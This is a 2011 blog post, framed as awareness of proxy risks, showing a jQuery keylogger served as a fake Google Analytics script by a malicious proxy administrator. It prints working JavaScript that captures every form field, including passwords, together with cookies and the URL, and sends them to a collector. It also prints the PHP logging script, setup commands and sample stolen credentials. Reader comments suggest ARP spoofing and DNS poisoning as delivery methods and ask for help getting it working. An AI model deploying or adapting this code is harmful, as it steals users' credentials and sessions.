JQlog: JQuery Keylogger, or why not to trust your proxy admin.

Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools.

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href; 
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

Functions such as $.ajax() or $.post() would not work due to cross-domain limitations. Henceforth, I used $.getScript to pass on the data to an external URL.

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }  
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op : 
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text : 

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different. 🙂

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

4 Comments

  • Zaneer Vattackary
    June 7, 2011 - 11:22 am | Permalink

    Good one. Obviously my proxy admin will be a full time employee who is legally bound to contract conditions. :).

  • June 23, 2011 - 10:53 pm | Permalink

    It’s not just your proxy admin, either. You could use arp spoofing, on the same Ethernet network as the target, or even DNS poisoning, basically anywhere on the Net, as attack vectors for this one, redirecting your target and becoming an ad-hoc router for it. I’ve successfully used ARP spoofing, iptables REDIRECT and a specialized proxy hacked together in python to pull of April fool’s day jokes replacing phrases in *all* news media sites consulted with names and phrases relating to my targets. Now if you rewrote Javascript instead of readable text..

  • Redha
    July 9, 2011 - 1:10 pm | Permalink

    tried it, works well. but, the problem could be with bandwidth, if the asynchronous calls would take longer than the to complete, would it still work?

    thank you.
    -redha

  • juan carlos
    September 26, 2012 - 12:52 am | Permalink

    hello very good code but I’ve tried in chrome and firefox where the first time I send the data but the second time or the next time I try to send data using the search form will not send me unlike internet explorer when I try it I hope q help me fix it thanks

  • Leave a Reply

    Your email address will not be published. Required fields are marked *